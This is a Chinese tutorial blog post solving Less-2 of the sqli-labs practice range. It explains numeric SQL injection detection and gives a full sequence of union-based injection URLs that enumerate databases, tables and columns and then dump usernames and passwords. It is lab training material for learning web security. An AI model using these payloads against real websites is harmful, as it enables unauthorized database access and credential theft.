【less-2】sqli-labs靶场第二关

19 篇文章 14 订阅
14 篇文章 3 订阅

网址

https://sqli.wmcoder.site/sqli-labs/Less-2/

解法

传入id=1查看页面回显

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1

在这里插入图片描述

第一步:判断注入类型。如字符型,数值型

数字型判断
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:

  • 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。
  • 当输入 and 1=2时,后台执行 Sql 语句: select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。
  • 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
    select * from <表名> where id = 'x and 1=1'
    select * from <表名> where id = 'x and 1=2'
    查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

经过语句and 1=2测试 ,页面回显易常,所以该地方是数值查询。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1

在这里插入图片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2

在这里插入图片描述

第二步:判断表字段数(使用order by)

使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

在这里插入图片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

在这里插入图片描述

第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位

发现页面先输出了2和3,说明页面有2个显示位。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1

在这里插入图片描述
接下来查看数据库名和版本号

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+

在这里插入图片描述

第四步:利用sql查询语句爆破出数据库内的数据库名

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1

在这里插入图片描述

第五步:利用sql查询语句爆破出security数据库内的表名

使用group_concat()函数全部查询

通过mysql数据库中的information_schema数据中的tables表来查询所有的表相关信息
由于上面已经爆破出数据库名security,可以直接这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
如果上一步没有爆破数据库名,也可以这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

在这里插入图片描述

使用limit函数逐一查询

SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

在这里插入图片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

在这里插入图片描述
查出表为emails,referers,uagents,users。明显users表是用来保存用户密码的。

第六步:利用sql查询语句爆破出users数据表内的列名

使用group_concat()函数全部查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

在这里插入图片描述

使用limit函数逐一查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1 --+

在这里插入图片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1 --+

在这里插入图片描述

第七步:利用sql查询语句爆破出username、password列的值

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

在这里插入图片描述
成功!

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未名编程

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值